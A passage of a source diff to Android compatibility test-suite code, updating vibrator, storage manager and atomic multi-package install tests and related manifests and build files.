+            new AdoptShellPermissionsRule(
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                    android.Manifest.permission.ACCESS_VIBRATOR_STATE);
+
+    @Rule
+    public final MockitoRule mMockitoRule = MockitoJUnit.rule();
+
     private static final AudioAttributes AUDIO_ATTRIBUTES =
             new AudioAttributes.Builder()
-                .setUsage(AudioAttributes.USAGE_MEDIA)
-                .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
-                .build();
+                    .setUsage(AudioAttributes.USAGE_MEDIA)
+                    .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
+                    .build();
     private static final long CALLBACK_TIMEOUT_MILLIS = 5000;
+    private static final int[] PREDEFINED_EFFECTS = new int[]{
+            VibrationEffect.EFFECT_CLICK,
+            VibrationEffect.EFFECT_DOUBLE_CLICK,
+            VibrationEffect.EFFECT_TICK,
+            VibrationEffect.EFFECT_THUD,
+            VibrationEffect.EFFECT_POP,
+            VibrationEffect.EFFECT_HEAVY_CLICK,
+            VibrationEffect.EFFECT_TEXTURE_TICK,
+    };
+    private static final int[] PRIMITIVE_EFFECTS = new int[]{
+            VibrationEffect.Composition.PRIMITIVE_CLICK,
+            VibrationEffect.Composition.PRIMITIVE_TICK,
+            VibrationEffect.Composition.PRIMITIVE_LOW_TICK,
+            VibrationEffect.Composition.PRIMITIVE_QUICK_RISE,
+            VibrationEffect.Composition.PRIMITIVE_QUICK_FALL,
+            VibrationEffect.Composition.PRIMITIVE_SLOW_RISE,
+    };
 
     private Vibrator mVibrator;
-    @Mock
-    private OnVibratorStateChangedListener mListener1;
-    @Mock
-    private OnVibratorStateChangedListener mListener2;
+    @Mock private OnVibratorStateChangedListener mStateListener;
 
     @Before
     public void setUp() {
-        MockitoAnnotations.initMocks(this);
-        mVibrator = InstrumentationRegistry.getContext().getSystemService(Vibrator.class);
+        mVibrator = InstrumentationRegistry.getInstrumentation().getContext().getSystemService(
+                Vibrator.class);
+
+        mVibrator.addVibratorStateListener(mStateListener);
+        reset(mStateListener);
+    }
+
+    @After
+    public void cleanUp() {
+        mVibrator.cancel();
     }
 
     @Test
     public void testVibratorCancel() {
-        mVibrator.vibrate(1000);
-        sleep(500);
+        mVibrator.vibrate(10_000);
+        assertStartsVibrating();
+
         mVibrator.cancel();
+        assertStopsVibrating();
     }
 
     @Test
     public void testVibratePattern() {
         long[] pattern = {100, 200, 400, 800, 1600};
         mVibrator.vibrate(pattern, 3);
+        assertStartsVibrating();
+
         try {
             mVibrator.vibrate(pattern, 10);
             fail("Should throw ArrayIndexOutOfBoundsException");
-        } catch (ArrayIndexOutOfBoundsException expected) { }
-        mVibrator.cancel();
+        } catch (ArrayIndexOutOfBoundsException expected) {
+        }
     }
 
     @Test
     public void testVibrateMultiThread() {
-        new Thread(new Runnable() {
-            public void run() {
-                try {
-                    mVibrator.vibrate(100);
-                } catch (Exception e) {
-                    fail("MultiThread fail1");
-                }
+        new Thread(() -> {
+            try {
+                mVibrator.vibrate(500);
+            } catch (Exception e) {
+                fail("MultiThread fail1");
             }
         }).start();
-        new Thread(new Runnable() {
-            public void run() {
-                try {
-                    // This test only get two threads to run vibrator at the same time
-                    // for a functional test,
-                    // but it can not verify if the second thread get the precedence.
-                    mVibrator.vibrate(1000);
-                } catch (Exception e) {
-                    fail("MultiThread fail2");
-                }
+        new Thread(() -> {
+            try {
+                // This test only get two threads to run vibrator at the same time for a functional
+                // test, but it can not verify if the second thread get the precedence.
+                mVibrator.vibrate(1000);
+            } catch (Exception e) {
+                fail("MultiThread fail2");
             }
         }).start();
-        sleep(1500);
+        assertStartsVibrating();
     }
 
+    @LargeTest
     @Test
     public void testVibrateOneShot() {
         VibrationEffect oneShot =
-                VibrationEffect.createOneShot(100, VibrationEffect.DEFAULT_AMPLITUDE);
+                VibrationEffect.createOneShot(300, VibrationEffect.DEFAULT_AMPLITUDE);
         mVibrator.vibrate(oneShot);
-        sleep(100);
+        assertStartsThenStopsVibrating(300);
 
-        oneShot = VibrationEffect.createOneShot(500, 255 /* Max amplitude */);
+        oneShot = VibrationEffect.createOneShot(10_000, 255 /* Max amplitude */);
         mVibrator.vibrate(oneShot);
-        sleep(100);
+        assertStartsVibrating();
+
         mVibrator.cancel();
+        assertStopsVibrating();
 
-        oneShot = VibrationEffect.createOneShot(100, 1 /* Min amplitude */);
+        oneShot = VibrationEffect.createOneShot(300, 1 /* Min amplitude */);
         mVibrator.vibrate(oneShot, AUDIO_ATTRIBUTES);
-        sleep(100);
+        assertStartsVibrating();
     }
 
+    @LargeTest
     @Test
     public void testVibrateWaveform() {
         final long[] timings = new long[] {100, 200, 300, 400, 500};
         final int[] amplitudes = new int[] {64, 128, 255, 128, 64};
         VibrationEffect waveform = VibrationEffect.createWaveform(timings, amplitudes, -1);
         mVibrator.vibrate(waveform);
-        sleep(1500);
+        assertStartsThenStopsVibrating(1500);
 
         waveform = VibrationEffect.createWaveform(timings, amplitudes, 0);
         mVibrator.vibrate(waveform, AUDIO_ATTRIBUTES);
-        sleep(2000);
+        assertStartsVibrating();
+
+        SystemClock.sleep(2000);
+        assertTrue(!mVibrator.hasVibrator() || mVibrator.isVibrating());
+
         mVibrator.cancel();
+        assertStopsVibrating();
+    }
+
+    @Test
+    public void testVibratePredefined() {
+        int[] supported = mVibrator.areEffectsSupported(PREDEFINED_EFFECTS);
+        for (int i = 0; i < PREDEFINED_EFFECTS.length; i++) {
+            mVibrator.vibrate(VibrationEffect.createPredefined(PREDEFINED_EFFECTS[i]));
+            if (supported[i] == Vibrator.VIBRATION_EFFECT_SUPPORT_YES) {
+                assertStartsVibrating();
+            }
+        }
+    }
+
+    @Test
+    public void testVibrateComposed() {
+        boolean[] supported = mVibrator.arePrimitivesSupported(PRIMITIVE_EFFECTS);
+        for (int i = 0; i < PRIMITIVE_EFFECTS.length; i++) {
+            mVibrator.vibrate(VibrationEffect.startComposition()
+                    .addPrimitive(PRIMITIVE_EFFECTS[i])
+                    .addPrimitive(PRIMITIVE_EFFECTS[i], 0.5f)
+                    .addPrimitive(PRIMITIVE_EFFECTS[i], 0.8f, 10)
+                    .compose());
+            if (supported[i]) {
+                assertStartsVibrating();
+            }
+        }
+    }
+
+    @Test
+    public void testGetId() {
+        // The system vibrator should not be mapped to any physical vibrator and use a default id.
+        assertEquals(-1, mVibrator.getId());
+    }
+
+    @Test
+    public void testHasVibrator() {
+        // Just make sure it doesn't crash when this is called; we don't really have a way to test
+        // if the device has vibrator or not.
+        mVibrator.hasVibrator();
     }
 
     @Test
@@ -155,10 +240,8 @@
     public void testVibratorEffectsAreSupported() {
         // Just make sure it doesn't crash when this is called and that it returns all queries;
         // We don't really have a way to test if the device supports each effect or not.
-        int[] result = mVibrator.areEffectsSupported(
-                VibrationEffect.EFFECT_TICK, VibrationEffect.EFFECT_CLICK);
-
-        assertEquals(2, result.length);
+        assertEquals(PREDEFINED_EFFECTS.length,
+                mVibrator.areEffectsSupported(PREDEFINED_EFFECTS).length);
         assertEquals(0, mVibrator.areEffectsSupported().length);
     }
 
@@ -166,12 +249,7 @@
     public void testVibratorAllEffectsAreSupported() {
         // Just make sure it doesn't crash when this is called;
         // We don't really have a way to test if the device supports each effect or not.
-        mVibrator.areAllEffectsSupported(
-                VibrationEffect.EFFECT_TICK,
-                VibrationEffect.EFFECT_CLICK,
-                VibrationEffect.EFFECT_DOUBLE_CLICK,
-                VibrationEffect.EFFECT_HEAVY_CLICK);
-
+        mVibrator.areAllEffectsSupported(PREDEFINED_EFFECTS);
         assertEquals(Vibrator.VIBRATION_EFFECT_SUPPORT_YES, mVibrator.areAllEffectsSupported());
     }
 
@@ -179,12 +257,8 @@
     public void testVibratorPrimitivesAreSupported() {
         // Just make sure it doesn't crash when this is called;
         // We don't really have a way to test if the device supports each effect or not.
-        boolean[] result = mVibrator.arePrimitivesSupported(
-                VibrationEffect.Composition.PRIMITIVE_CLICK,
-                VibrationEffect.Composition.PRIMITIVE_QUICK_RISE,
-                VibrationEffect.Composition.PRIMITIVE_TICK);
-
-        assertEquals(3, result.length);
+        assertEquals(PRIMITIVE_EFFECTS.length,
+                mVibrator.arePrimitivesSupported(PRIMITIVE_EFFECTS).length);
         assertEquals(0, mVibrator.arePrimitivesSupported().length);
     }
 
@@ -192,78 +266,102 @@
     public void testVibratorAllPrimitivesAreSupported() {
         // Just make sure it doesn't crash when this is called;
         // We don't really have a way to test if the device supports each effect or not.
-        mVibrator.areAllPrimitivesSupported(
-                VibrationEffect.Composition.PRIMITIVE_TICK);
-
+        mVibrator.areAllPrimitivesSupported(PRIMITIVE_EFFECTS);
         assertTrue(mVibrator.areAllPrimitivesSupported());
     }
 
-    /**
-     * For devices with vibrator we assert the IsVibrating state, for devices without vibrator just
-     * ensure it won't crash with IsVibrating call.
-     */
-    private void assertIsVibrating(boolean expected) {
-        final boolean isVibrating = mVibrator.isVibrating();
-        if (mVibrator.hasVibrator()) {
-            assertEquals(isVibrating, expected);
-        }
-    }
-
     @Test
     public void testVibratorIsVibrating() {
-        final UiAutomation ui = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        ui.adoptShellPermissionIdentity("android.permission.ACCESS_VIBRATOR_STATE");
-        assertIsVibrating(false);
-        mVibrator.vibrate(1000);
-        assertIsVibrating(true);
+        if (!mVibrator.hasVibrator()) {
+            return;
+        }
+
+        assertFalse(mVibrator.isVibrating());
+
+        mVibrator.vibrate(5000);
+        assertStartsVibrating();
+        assertTrue(mVibrator.isVibrating());
+
         mVibrator.cancel();
-        assertIsVibrating(false);
+        assertStopsVibrating();
+        assertFalse(mVibrator.isVibrating());
     }
 
+    @LargeTest
     @Test
     public void testVibratorVibratesNoLongerThanDuration() {
-        final UiAutomation ui = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        ui.adoptShellPermissionIdentity("android.permission.ACCESS_VIBRATOR_STATE");
-        assertIsVibrating(false);
-        mVibrator.vibrate(100);
-        SystemClock.sleep(150);
-        assertIsVibrating(false);
-    }
-
-    @Test
-    public void testVibratorStateCallback() throws Exception {
-        final UiAutomation ui = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        ui.adoptShellPermissionIdentity("android.permission.ACCESS_VIBRATOR_STATE");
-        // Add listener1
-        mVibrator.addVibratorStateListener(mListener1);
-        // Add listener2 on main thread.
-        mVibrator.addVibratorStateListener(mListener2);
-        verify(mListener1, timeout(CALLBACK_TIMEOUT_MILLIS)
-                .times(1)).onVibratorStateChanged(false);
-        verify(mListener2, timeout(CALLBACK_TIMEOUT_MILLIS)
-                .times(1)).onVibratorStateChanged(false);
+        if (!mVibrator.hasVibrator()) {
+            return;
+        }
 
         mVibrator.vibrate(1000);
-        assertIsVibrating(true);
+        assertStartsVibrating();
 
-        verify(mListener1, timeout(CALLBACK_TIMEOUT_MILLIS)
-                .times(1)).onVibratorStateChanged(true);
-        verify(mListener2, timeout(CALLBACK_TIMEOUT_MILLIS)
-                .times(1)).onVibratorStateChanged(true);
-
-        reset(mListener1);
-        reset(mListener2);
-        // Remove listener1
-        mVibrator.removeVibratorStateListener(mListener1);
-        mVibrator.removeVibratorStateListener(mListener2);
-
-        mVibrator.cancel();
-        assertIsVibrating(false);
+        SystemClock.sleep(1500);
+        assertFalse(mVibrator.isVibrating());
     }
 
-    private static void sleep(long millis) {
-        try {
-            Thread.sleep(millis);
-        } catch (InterruptedException ignored) { }
+    @LargeTest
+    @Test
+    public void testVibratorStateCallback() {
+        if (!mVibrator.hasVibrator()) {
+            return;
+        }
+
+        OnVibratorStateChangedListener listener1 = mock(OnVibratorStateChangedListener.class);
+        OnVibratorStateChangedListener listener2 = mock(OnVibratorStateChangedListener.class);
+        // Add listener1 on executor
+        mVibrator.addVibratorStateListener(Executors.newSingleThreadExecutor(), listener1);
+        // Add listener2 on main thread.
+        mVibrator.addVibratorStateListener(listener2);
+        verify(listener1, timeout(CALLBACK_TIMEOUT_MILLIS).times(1)).onVibratorStateChanged(false);
+        verify(listener2, timeout(CALLBACK_TIMEOUT_MILLIS).times(1)).onVibratorStateChanged(false);
+
+        mVibrator.vibrate(1000);
+
+        verify(listener1, timeout(CALLBACK_TIMEOUT_MILLIS).times(1)).onVibratorStateChanged(true);
+        verify(listener2, timeout(CALLBACK_TIMEOUT_MILLIS).times(1)).onVibratorStateChanged(true);
+
+        mVibrator.cancel();
+        assertStopsVibrating();
+
+        // Remove listener1 & listener2
+        mVibrator.removeVibratorStateListener(listener1);
+        mVibrator.removeVibratorStateListener(listener2);
+        reset(listener1);
+        reset(listener2);
+
+        mVibrator.vibrate(1000);
+        assertStartsVibrating();
+
+        verify(listener1, timeout(CALLBACK_TIMEOUT_MILLIS).times(0))
+                .onVibratorStateChanged(anyBoolean());
+        verify(listener2, timeout(CALLBACK_TIMEOUT_MILLIS).times(0))
+                .onVibratorStateChanged(anyBoolean());
+    }
+
+    private void assertStartsThenStopsVibrating(long duration) {
+        if (mVibrator.hasVibrator()) {
+            verify(mStateListener, timeout(CALLBACK_TIMEOUT_MILLIS).atLeastOnce())
+                    .onVibratorStateChanged(true);
+            SystemClock.sleep(duration);
+            assertVibratorState(false);
+        }
+    }
+
+    private void assertStartsVibrating() {
+        assertVibratorState(true);
+    }
+
+    private void assertStopsVibrating() {
+        assertVibratorState(false);
+    }
+
+    private void assertVibratorState(boolean expected) {
+        if (mVibrator.hasVibrator()) {
+            verify(mStateListener, timeout(CALLBACK_TIMEOUT_MILLIS).atLeastOnce())
+                    .onVibratorStateChanged(eq(expected));
+            reset(mStateListener);
+        }
     }
 }
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
index b47d553..8ab63c3 100644
--- a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
+++ b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
@@ -16,6 +16,11 @@
 
 package android.os.storage.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.PendingIntent;
 import android.content.Context;
 import android.content.res.Resources;
 import android.content.res.Resources.NotFoundException;
@@ -30,8 +35,8 @@
 import android.os.cts.R;
 import android.os.storage.OnObbStateChangeListener;
 import android.os.storage.StorageManager;
-import android.os.storage.StorageVolume;
 import android.os.storage.StorageManager.StorageVolumeCallback;
+import android.os.storage.StorageVolume;
 import android.platform.test.annotations.AppModeFull;
 import android.system.ErrnoException;
 import android.system.Os;
@@ -46,15 +51,13 @@
 
 import junit.framework.AssertionFailedError;
 
-import org.junit.Assume;
-
 import java.io.ByteArrayOutputStream;
 import java.io.File;
+import java.io.FileDescriptor;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InterruptedIOException;
-import java.io.FileDescriptor;
 import java.io.SyncFailedException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Modifier;
@@ -213,15 +216,18 @@
         assertEquals("Wrong state", Environment.MEDIA_MOUNTED, volume.getState());
 
         // Tests properties that depend on storage type (emulated or physical)
-        final String uuid = volume.getUuid();
+        final String fsUuid = volume.getUuid();
+        final UUID uuid = volume.getStorageUuid();
         final boolean removable = volume.isRemovable();
         final boolean emulated = volume.isEmulated();
         if (emulated) {
             assertFalse("Should not be removable", removable);
-            assertNull("Should not have uuid", uuid);
+            assertNull("Should not have fsUuid", fsUuid);
+            assertEquals("Should have uuid_default", StorageManager.UUID_DEFAULT, uuid);
         } else {
             assertTrue("Should be removable", removable);
-            assertNotNull("Should have uuid", uuid);
+            assertNotNull("Should have fsUuid", fsUuid);
+            assertNull("Should not have uuid", uuid);
         }
 
         // Tests path - although it's not a public API, sm.getPrimaryStorageVolume()
@@ -770,6 +776,64 @@
         }
     }
 
+    public void testFatUuidHandling() throws Exception {
+        assertEquals(UUID.fromString("fafafafa-fafa-5afa-8afa-fafa01234567"),
+                StorageManager.convert("0123-4567"));
+        assertEquals(UUID.fromString("fafafafa-fafa-5afa-8afa-fafadeadbeef"),
+                StorageManager.convert("DEAD-BEEF"));
+        assertEquals(UUID.fromString("fafafafa-fafa-5afa-8afa-fafadeadbeef"),
+                StorageManager.convert("dead-BEEF"));
+
+        try {
+            StorageManager.convert("DEADBEEF");
+            fail();
+        } catch (IllegalArgumentException expected) {}
+
+        try {
+            StorageManager.convert("DEAD-BEEF0");
+            fail();
+        } catch (IllegalArgumentException expected) {}
+
+        assertEquals("0123-4567",
+                StorageManager.convert(UUID.fromString("fafafafa-fafa-5afa-8afa-fafa01234567")));
+        assertEquals("DEAD-BEEF",
+                StorageManager.convert(UUID.fromString("fafafafa-fafa-5afa-8afa-fafadeadbeef")));
+    }
+
+    @AppModeFull(reason = "Instant apps cannot hold MANAGE_EXTERNAL_STORAGE permission")
+    public void testGetManageSpaceActivityIntent() throws Exception {
+        String packageName = "android.os.cts";
+        int REQUEST_CODE = 1;
+        PendingIntent piActual = null;
+
+        // Without MANAGE_EXTERNAL_STORAGE permission, this call should fail.
+        assertThrows(
+                RuntimeException.class,
+                () -> mStorageManager.getManageSpaceActivityIntent(packageName, REQUEST_CODE));
+
+        // Adopt MANAGE_EXTERNAL_STORAGE permission and then try the API call. We launch
+        // the manageSpaceActivity in a new task.
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                android.Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+
+        // Invalid packageName should throw an IllegalArgumentException
+        String invalidPackageName = "this.is.invalid";
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> mStorageManager.getManageSpaceActivityIntent(invalidPackageName,
+                        REQUEST_CODE));
+
+        piActual = mStorageManager.getManageSpaceActivityIntent(packageName,
+                REQUEST_CODE);
+        assertThat(piActual.isActivity()).isTrue();
+
+        // Nothing to assert, but call send to make sure it does not throw an exception
+        piActual.send();
+
+        // Drop MANAGE_EXTERNAL_STORAGE permission
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
     private void assertStorageVolumesEquals(StorageVolume volume, StorageVolume clone)
             throws Exception {
         // Asserts equals() method.
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
index 3867e9f..4cdcdaa 100755
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
@@ -1,4 +1,5 @@
-<?xml version="1.0" encoding="utf-8"?> <!-- Copyright (C) 2017 The Android Open Source Project
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -14,35 +15,37 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.packageinstaller.admin.cts" >
+     package="android.packageinstaller.admin.cts">
 
-    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
-    <application android:label="Cts Admin Package Installer Test" android:testOnly="true">
+    <application android:label="Cts Admin Package Installer Test"
+         android:testOnly="true">
         <uses-library android:name="android.test.runner"/>
 
-        <receiver
-            android:name=".BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name=".BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <activity android:name=".LauncherActivity">
+        <activity android:name=".LauncherActivity"
+             android:exported="true">
             <intent-filter android:priority="-999">
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:functionalTest="true"
-                     android:targetPackage="android.packageinstaller.admin.cts"
-                     android:label="External App Sources Tests"/>
+         android:functionalTest="true"
+         android:targetPackage="android.packageinstaller.admin.cts"
+         android:label="External App Sources Tests"/>
 </manifest>
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
index 28ec019..d1d52a1 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
@@ -196,7 +196,7 @@
                 mContext,
                 sessionId,
                 broadcastIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/tests/tests/packageinstaller/atomicinstall/Android.bp b/tests/tests/packageinstaller/atomicinstall/Android.bp
index 00dc48e..add4a53 100644
--- a/tests/tests/packageinstaller/atomicinstall/Android.bp
+++ b/tests/tests/packageinstaller/atomicinstall/Android.bp
@@ -25,6 +25,8 @@
         ":AtomicInstallCorrupt"
     ],
     static_libs: [
+        "androidx.annotation_annotation",
+        "androidx.core_core",
         "androidx.test.runner",
         "truth-prebuilt",
 	"cts-install-lib",
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
index 1f8f283..457b7ef 100644
--- a/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
@@ -18,8 +18,6 @@
           package="com.android.tests.atomicinstall" >
 
     <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
index 6ab9d5a..79ea698 100644
--- a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
@@ -27,8 +27,10 @@
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
         <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
+        <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.C" />
         <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
         <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
+        <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.C" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
index 8c1623d..7c53349 100644
--- a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
+++ b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
@@ -29,6 +29,7 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.cts.install.lib.Install;
 import com.android.cts.install.lib.InstallUtils;
 import com.android.cts.install.lib.LocalIntentSender;
@@ -41,11 +42,22 @@
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
+import java.util.function.Predicate;
+import java.util.function.Supplier;
+
 /**
  * Tests for multi-package (a.k.a. atomic) installs.
  */
 @RunWith(JUnit4.class)
 public class AtomicInstallTest {
+    /**
+     * Time between repeated checks in {@link #retry}.
+     */
+    private static final long RETRY_CHECK_INTERVAL_MILLIS = 500;
+    /**
+     * Maximum number of checks in {@link #retry} before a timeout occurs.
+     */
+    private static final long RETRY_MAX_INTERVALS = 20;
 
     public static final String TEST_APP_CORRUPT_FILENAME = "corrupt.apk";
     private static final TestApp CORRUPT_TESTAPP = new TestApp(
@@ -63,7 +75,7 @@
     public void setup() throws Exception {
         adoptShellPermissions();
 
-        Uninstall.packages(TestApp.A, TestApp.B);
+        Uninstall.packages(TestApp.A, TestApp.B, TestApp.C);
     }
 
     @After
@@ -74,6 +86,60 @@
                 .dropShellPermissionIdentity();
     }
 
+    /**
+     * Cleans up sessions that are not committed during tests.
+     */
+    @After
+    public void cleanUpSessions() {
+        InstallUtils.getPackageInstaller().getMySessions().forEach(info -> {
+            try {
+                InstallUtils.getPackageInstaller().abandonSession(info.getSessionId());
+            } catch (Exception ignore) {
+            }
+        });
+    }
+
+    private static <T> T retry(Supplier<T> supplier, Predicate<T> predicate, String message)
+            throws InterruptedException {
+        for (int i = 0; i < RETRY_MAX_INTERVALS; i++) {
+            T result = supplier.get();
+            if (predicate.test(result)) {
+                return result;
+            }
+            Thread.sleep(RETRY_CHECK_INTERVAL_MILLIS);
+        }
+        throw new AssertionError(message);
+    }
+
+    /**
+     * Tests a completed session should be cleaned up.
+     */
+    @Test
+    public void testSessionCleanUp_Single() throws Exception {
+        int sessionId = Install.single(TestApp.A1).commit();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+        // The session is cleaned up asynchronously after install completed.
+        // Retry until the session no longer exists.
+        retry(() -> InstallUtils.getPackageInstaller().getSessionInfo(sessionId),
+                info -> info == null,
+                "Session " + sessionId + " not cleaned up");
+    }
+
+    /**
+     * Tests a completed session should be cleaned up.
+     */
+    @Test
+    public void testSessionCleanUp_Multi() throws Exception {
+        int sessionId = Install.multi(TestApp.A1, TestApp.B1).commit();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
+        // The session is cleaned up asynchronously after install completed.
+        // Retry until the session no longer exists.
+        retry(() -> InstallUtils.getPackageInstaller().getSessionInfo(sessionId),
+                info -> info == null,
+                "Session " + sessionId + " not cleaned up");
+    }
+
     @Test
     public void testInstallTwoApks() throws Exception {
         Install.multi(TestApp.A1, TestApp.B1).commit();
@@ -81,6 +147,31 @@
         assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
     }
 
+    /**
+     * Tests a removed child shouldn't be installed.
+     */
+    @Test
+    public void testRemoveChild() throws Exception {
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.C)).isEqualTo(-1);
+
+        int parentId = Install.multi(TestApp.A1).createSession();
+        int childBId = Install.single(TestApp.B1).createSession();
+        int childCId = Install.single(TestApp.C1).createSession();
+        try (PackageInstaller.Session parent = openPackageInstallerSession(parentId)) {
+            parent.addChildSessionId(childBId);
+            parent.addChildSessionId(childCId);
+            parent.removeChildSessionId(childBId);
+            LocalIntentSender sender = new LocalIntentSender();
+            parent.commit(sender.getIntentSender());
+            InstallUtils.assertStatusSuccess(sender.getResult());
+            assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+            assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
+            assertThat(getInstalledVersion(TestApp.C)).isEqualTo(1);
+        }
+    }
+
     @Test
     public void testInstallTwoApksDowngradeFail() throws Exception {
         Install.multi(TestApp.A2, TestApp.B1).commit();
@@ -139,6 +230,117 @@
     }
 
     @Test
+    public void testInvalidStateScenario_MultiSessionCantBeApex() throws Exception {
+        try {
+            SystemUtil.runShellCommandForNoOutput("pm bypass-staged-installer-check true");
+            PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
+                    PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+            params.setMultiPackage();
+            params.setInstallAsApex();
+            params.setStaged();
+            try {
+                InstallUtils.getPackageInstaller().createSession(params);
+                fail("Should not be able to create a multi-session set as APEX!");
+            } catch (Exception ignore) {
+            }
+        } finally {
+            SystemUtil.runShellCommandForNoOutput("pm bypass-staged-installer-check false");
+        }
+    }
+
+    /**
+     * Tests a single-session can't have child.
+     */
+    @Test
+    public void testInvalidStateScenario_AddChildToSingleSessionShouldFail() throws Exception {
+        int parentId = Install.single(TestApp.A1).createSession();
+        int childId = Install.single(TestApp.B1).createSession();
+        try (PackageInstaller.Session parent = openPackageInstallerSession(parentId)) {
+            try {
+                parent.addChildSessionId(childId);
+                fail("Should not be able to add a child session to a single-session!");
+            } catch (Exception ignore) {
+            }
+        }
+    }
+
+    /**
+     * Tests a multi-session can't be a child.
+     */
+    @Test
+    public void testInvalidStateScenario_MultiSessionAddedAsChildShouldFail() throws Exception {
+        int parentId = Install.multi(TestApp.A1).createSession();
+        int childId = Install.multi(TestApp.B1).createSession();
+        try (PackageInstaller.Session parent = openPackageInstallerSession(parentId)) {
+            try {
+                parent.addChildSessionId(childId);
+                fail("Should not be able to add a multi-session as a child!");
+            } catch (Exception ignore) {
+            }
+        }
+    }
+
+    /**
+     * Tests a committed session can't add child.
+     */
+    @Test
